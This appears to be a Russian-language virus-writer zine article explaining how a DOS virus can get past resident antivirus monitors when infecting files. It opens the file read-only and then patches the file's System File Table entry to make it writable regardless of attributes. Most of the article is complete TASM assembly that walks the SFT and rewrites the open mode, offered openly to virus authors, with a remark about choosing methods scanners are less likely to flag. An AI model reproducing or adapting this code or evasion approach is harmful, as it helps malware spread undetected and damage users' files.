[√] Привет _All_ !
SFT и ее примененение .
(C) ...DarkMan...
Важнейшей проблемой из жизни вируса является производство потомства.
Вот тут и ловят нас разные -D3, inspect, AVPTSR... Только ты файл
на запись открывать, а он:"Иди сюда", и по физиономии.
Выход: открывать файл на чтение и модифицировать системные таблицы
напрямую.
Получить адресс SFT (system file table): (C) PC HELP
DOS(52h); es:bx - address
Формат:
DOS 4.0+
Offset Size Description
00 dword pointer to next system file table; offset of ffffh
indicates last table in chain
04 word number of file descriptors in table
06 nbytes file descriptor table of the format (59 bytes each):
Offset Size Description
00 word count of handles referring to this file or
zero if file is no longer open
02 word open mode, bit 15 set if file id opened via FCB
04 byte file attribute
05 word device info word
07 dword if char device pointer to device driver header
if block device pointer to DOS Device Control Block
or REDIR data
0B word starting cluster of file
0D word file time
0F word file date
11 dword file size
15 dword current file position
19 dword if network redirector, pointer to REDIRIFS record
word if local block dev, relative cluster within file
of the last cluster read
1B dword if local, sector number of directory entry
1F byte if local, number of directory entry within sector
20 11bytes filename in FCB format
2B dword SHARE pointer to previous SFT sharing same file
2F word SHARE number of network machine opening file
31 word PSP segment of file owner
33 word offset within SHARE code seg of sharing record
0000h = none
35 word absolute cluster number of last cluster read
zero if file has never been read or written
37 dword pointer to file IFS driver, NULL if native DOS
Вот через эту самую таблицу все и делается:
<*>========================================================================<*>
; This program will be automaticaly generated by XA0S
; Xa0sAssembler (Special 32bit ASM preprocessor)
; version 2.01
; All rights reserved.
;
; Variables = 1
; Functions = 13
;
; Request: TASM 2.0 to 16 bit program,
; TASM 4.0 to 32 bit program.
;
; Skipped & corrected by ...DarkMan...
ideal
p8086
model tiny , c
nosmart
locals @@
macro LoadSeg seg,value
mov ax,value
mov seg,ax
endm
macro DOS index
mov ah,index
int 21h
endm
codeseg
public name2fcb
proc name2fcb near
arg inName:word,outName:word
uses es
mov si,[inName]
mov di,[outName]
LoadSeg <es >,< ds >
mov cx,8
cld
@@loop:
lodsb
cmp al,0
je @@fill1
cmp al,2Eh
je @@fill1
stosb
loop @@loop
@@fill1:
mov al,20h
rep stosb
mov cx,3
@@loop1:
lodsb
cmp al,0
je @@fill2
stosb
loop @@loop1
@@fill2:
mov al,20h
rep stosb
ret
endp
ends
codeseg
public compare2fcb
proc compare2fcb near
arg name1:dword,name2:dword
push es ds
LoadSeg <ds >,< [word ptr name1+2] >
mov si,[word ptr name1]
LoadSeg <es >,< [word ptr name2+2] >
mov di,[word ptr name2]
mov cx,11
cld
@@loop:
lodsb
mov ah,[byte ptr es:di]
cmp al,ah
jne @@no_equ
inc di
loop @@loop
pop ds es bp
mov ax,1
retn
@@no_equ:
mov ax,2
pop ds es
ret
endp
ends
codeseg
public findName2SFT
proc findName2SFT near
arg _name:word
call name2fcb c,[_name] , offset buffer
DOS <52h >
push ds
lds bx,[dword ptr es:bx+04h]
LoadSeg <es >,< ds >
pop ds
@@nextSFT:
mov dx,bx
mov cx,[word ptr es:bx+04h]
add bx,6
@@loop:
push cx
mov ax,bx
add ax,20h
call compare2fcb c,ax , es , offset buffer , ds
cmp ax,2
jne @@founded
add bx,59
pop cx
loop @@loop
mov bx,dx
mov ax,[word ptr es:bx]
mov dx,[word ptr es:bx+2]
mov es,dx
mov bx,ax
cmp bx,0FFFFh
je @@not_founded
jmp @@nextSFT
@@founded:
pop cx bp
mov ax,1
retn
@@not_founded:
mov ax,2
ret
endp
ends
codeseg
public openFile
proc openFile near
arg _name:word
mov dx,[_name]
mov al,0
DOS <3Dh >
push ax
call findName2SFT c,[_name]
cmp ax,1
je @@0001_0001_0
jmp @@0001_0001_1
@@0001_0001_0:
mov ax,[word ptr es:bx+02h]
or ax,02h
mov [word ptr es:bx+02h],ax
@@0001_0001_1:
pop ax
ret
endp
ends
dataseg
buffer db 20 dup ( 0 )
ends
codeseg
public main
proc main near
call openFile c,offset ??26666
mov bx,ax
mov dx,offset ??30470
mov cx,7
DOS <40h >
DOS <3Eh >
ret
endp
ends
dataseg
??26666 db "SFT.DAT",000,""
??30470 db "Hello",013,"",010,""
ends
end
Ессесно, SFT.DAT уже должен существовать. При этом способе нам глубоко
наплевать на атрибуты и прочую муму, можно поставить ReadOnly+Hidden+System
а записывать мы в файл будем так же спокойно как и раньше.
<*>========================================================================<*>
Существует гораздо более короткий способ, т.к. вместо того чтобы сканировать
всю SFT адресс нужного элемента можно получить через Int2Fh (см. Infected
Voice, Issue #1), но против этого у меня есть одно возражение:
оно кнешно короче, но кто даст гарантию, что следующая версия какого-нить
inspectr'а не заматерится именно на эти функции ???
Кроме того у меня сейчас роится ряд идеек напрямую связанных с выше
описанным алгоритмом, думаю да напишу.
Inferno somewhere in time, ...DarkMan...
Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !
▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0
FTP://87.224.224.182
... Бppp, как стpашно!